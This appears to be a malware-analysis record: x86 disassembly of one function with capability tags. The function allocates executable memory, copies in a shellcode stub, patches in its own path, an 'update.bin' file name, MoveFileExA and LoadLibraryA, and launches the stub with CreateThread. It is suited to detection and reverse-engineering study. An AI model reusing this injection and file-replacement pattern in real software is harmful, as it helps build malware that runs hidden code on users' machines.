Function at 0x10001ffc
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x10006004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov byte [ebp - 0x121], al
mov byte [ebp - 0x109], pe_nt_image_headers32
mov byte [ebp - 0x10a], 0x90
mov eax, 0x100022f6
mov dword [ebp - 0x120], eax
mov eax, 0x100022c2
sub dword [ebp - 0x120], eax
mov dword [ebp - 0x134], eax
mov eax, dword [ebp + 8]
mov dword [0x10006464], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
push 0x3000
push dword [ebp - 0x120]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x130], eax
push dword [ebp - 0x120]
push dword [ebp - 0x134]
push dword [ebp - 0x130]
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x110], eax
push 0x40
push 0x3000
push 0x100
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x12c], eax
push 0x40
push 0x3000
push 0x100
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x128], eax
xor eax, eax
inc eax
imul eax, eax, 0x12
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x12c]
mov dword [ecx + eax], edx
lea eax, [ebp - 0x108]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x118]
mov al, byte [eax]
mov byte [ebp - 0x111], al
inc dword [ebp - 0x118]
cmp byte [ebp - 0x111], 0
jne 0x10002104
mov eax, dword [ebp - 0x118]
sub eax, dword [ebp - 0x138]
mov dword [ebp - 0x13c], eax
push dword [ebp - 0x13c]
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x12c]
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
xor eax, eax
inc eax
imul eax, eax, 0x19
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x128]
mov dword [ecx + eax], edx
lea eax, [ebp - 0x108]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x11c]
mov al, byte [eax]
mov byte [ebp - 0x112], al
inc dword [ebp - 0x11c]
cmp byte [ebp - 0x112], 0
jne 0x1000217c
mov eax, dword [ebp - 0x11c]
sub eax, dword [ebp - 0x140]
mov dword [ebp - 0x144], eax
push dword [ebp - 0x144]
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x128]
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0x5c
pop edx
mov ecx, dword [ebp - 0x128]
call fcn.10001dd8
inc eax
mov esi, str.update.bin
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
inc eax
imul eax, eax, 0x26
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x12c]
mov dword [ecx + eax], edx
xor eax, eax
inc eax
imul eax, eax, 0x1e
mov ecx, dword [ebp - 0x110]
mov dl, byte [ebp - 0x109]
mov byte [ecx + eax], dl
push 5
xor eax, eax
inc eax
imul eax, eax, 0x1e
add eax, dword [ebp - 0x110]
push eax
push dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [ebp - 0x113]
call fcn.10002307
xor ecx, ecx
inc ecx
imul ecx, ecx, 0x1f
mov edx, dword [ebp - 0x110]
mov dword [edx + ecx], eax
xor eax, eax
inc eax
imul eax, eax, 0x23
mov ecx, dword [ebp - 0x110]
mov dl, byte [ebp - 0x10a]
mov byte [ecx + eax], dl
xor eax, eax
inc eax
imul eax, eax, 0x2b
mov ecx, dword [ebp - 0x110]
mov dl, byte [ebp - 0x109]
mov byte [ecx + eax], dl
push 5
xor eax, eax
inc eax
imul eax, eax, 0x2b
add eax, dword [ebp - 0x110]
push eax
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x113]
call fcn.10002307
xor ecx, ecx
inc ecx
imul ecx, ecx, 0x2c
mov edx, dword [ebp - 0x110]
mov dword [edx + ecx], eax
xor eax, eax
inc eax
imul eax, eax, 0x30
mov ecx, dword [ebp - 0x110]
mov dl, byte [ebp - 0x10a]
mov byte [ecx + eax], dl
push 0
push 0
push 0
push dword [ebp - 0x130]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x100022f6
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100028b9
leave
ret 4